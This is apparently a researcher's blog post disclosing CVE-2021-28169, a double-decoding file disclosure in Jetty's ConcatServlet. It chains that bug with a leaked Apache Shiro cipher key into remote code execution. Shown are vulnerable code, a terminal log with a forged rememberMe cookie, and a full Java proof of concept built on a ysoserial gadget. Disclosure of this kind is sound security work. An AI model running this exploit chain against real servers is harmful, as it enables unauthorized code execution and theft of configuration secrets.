This year I released a challenge for the Full Stack Web Attack class:
Whilst several people had solved the challenge, no one seemed to have discovered the zero-day that I left lurking! In this blog post I am going to disclose the details about the bug chain. This vulnerability was patched as CVE-2021-28169 and under certain environments it can lead to an elevation of privilege/access or even remote code execution!
By the way – If you didn’t make the class in July 2021 don’t worry we will be running another class later in the year.
As it turns out, the jetty-servlets library contained a vulnerability in the org.eclipse.jetty.servlets.ConcatServlet servlet. If exposed, this could allow an attacker to disclose sensitive files.
Jetty Utility Servlets ConcatServlet Double Decoding Information Disclosure Vulnerability
Inside of the doGet method we see the following code:
/* */ protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
/* 88 */ String query = request.getQueryString();
/* */ ...
/* 95 */ List<RequestDispatcher> dispatchers = new ArrayList<RequestDispatcher>();
/* 96 */ String[] parts = query.split("\&");
/* 97 */ String type = null;
/* 98 */ for (String part : parts) {
/* */
/* 100 */ String path = URIUtil.canonicalPath(URIUtil.decodePath(part)); // 1
/* */ ...
/* 108 */ if (startsWith(path, "/WEB-INF/") || startsWith(path, "/META-INF/")) { // 2
/* */
/* 110 */ response.sendError(404);
/* */
/* */ return;
/* */ }
/* */ ...
/* 128 */ RequestDispatcher dispatcher = getServletContext().getRequestDispatcher(path); // 3
/* 129 */ if (dispatcher != null) {
/* 130 */ dispatchers.add(dispatcher);
/* */ }
/* */ }
/* 133 */ if (type != null) {
/* 134 */ response.setContentType(type);
/* */ }
/* 136 */ for (RequestDispatcher dispatcher : dispatchers)
/* */ {
/* 138 */ dispatcher.include(request, response); // 4
/* */ }
/* */ }
At [1] the code does a url decode and then attempts to normalize the attacker supplied path. Then at [2] there is a check that the path doesn’t start with “/WEB-INF/” or “/META-INF/”. Later at [3] the RequestDispatcher is made and finally at [4] the include is triggered.
The problem is that the check at [2] can be bypassed because the RequestDispatcher will also handle url decoding. So an attacker can double url encode either a traversal or the WEB-INF/META-INF strings in their controlled paths. This will instantiate a valid dispatcher and leak contents of an attacker controlled file from the ROOT of the web application.
Impact
The vulnerability is limited to a file disclosure from the web application ROOT directory. However, in some contexts this may allow an attacker to escalate further. Let’s use two examples:
- Spring – Elevation of privilege/access
In this environment, it’s possible to leak sensitive properties from the application.properties file such as the spring.datasource.url, spring.elasticsearch.rest.password, spring.h2.console.settings.web-admin-password, spring.influx.password, spring.ldap.password, etc.
- Apache Shiro – Remote Code Execution
In this environment, it’s possible to leak the shiro.ini file which contains securityManager.rememberMeManager.cipherKey. This key can be used to gain remote code execution against the application via deserialization in the rememberMe cookie.
Proof of Concept
If your testing on your own web application, modify your web.xml to include the vulnerable servlet:
Or else, you can test it on the challenge image:
docker run --name fswa -it --rm -p 80:8080 registry.gitlab.com/source-incite/fswa-challenge/rceme:2021
Now we can leak the key using the vulnerability:
Excuse me while I ignore all the username and passwords in the shiro.ini file! As it turns out, Apache Shiro uses commons-collections v3.2.2 and commons-beanutils v1.9.4 in their classpath. This is enough for us to generate a gadget chain from ysoserial.
With that wrapped around an encryption layer, we can achieve remote code execution:
[email protected]:~$ java Poc
(+) Usage: java Poc
re[email protected]:~$ java Poc kPH+bIxk5D2deZiIxcaaaA== "touch /tmp/pwn"
(+) using key kPH+bIxk5D2deZiIxcaaaA==
(+) rememberMe=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
Now, we send the cookie to the server targeting any endpoint:
Done!
[email protected]:~$ docker exec -it fswa stat /tmp/pwn
stat: cannot stat '/tmp/pwn': No such file or directory
[email protected]:~$ docker exec -it fswa stat /tmp/pwn
File: /tmp/pwn
Size: 0 Blocks: 0 IO Block: 4096 regular empty file
Device: 33h/51d Inode: 1452414 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 999/ jetty) Gid: ( 999/ jetty)
Access: 2021-04-29 18:33:26.410256760 +0000
Modify: 2021-04-29 18:33:26.410256760 +0000
Change: 2021-04-29 18:33:26.410256760 +0000
Birth: -
…and of course, the Poc.java which is mostly copied borrowed from Apache Shiro:
package shiro;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
import ysoserial.payloads.ObjectPayload.Utils;
import org.apache.shiro.crypto.cipher.*;
import org.apache.shiro.lang.util.ByteSource;
public class Poc {
public static void main(String[] args) throws Exception {
if(args.length != 2){
System.out.println("(+) Usage: java Poc " );
System.exit(0);
}
// Timo's idea to recycle shiro libs
AesCipherService aesservice = new AesCipherService();
aesservice.setModeName("GCM");
aesservice.setPaddingSchemeName("NoPadding");
aesservice.setStreamingPaddingSchemeName("NoPadding");
CipherService cipherService = aesservice;
String key = args[0];
String cmd = args[1];
System.out.println("(+) using key " + key);
byte[] fdata = null;
// commons-collections 3.2.2 & commons-beanutils 1.9.4
Object payloadObject = Utils.makePayloadObject("CommonsBeanutils1", cmd);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = null;
try {
out = new ObjectOutputStream(bos);
out.writeObject(payloadObject);
out.flush();
fdata = bos.toByteArray();
} finally {
try {
bos.close();
} catch (IOException ex) {}
}
System.out.println("(+) rememberMe=" +
new String(
Base64.getEncoder().encode(
cipherService.encrypt(
fdata, Base64.getDecoder().decode(key)
).getBytes()
)
)
);
}
}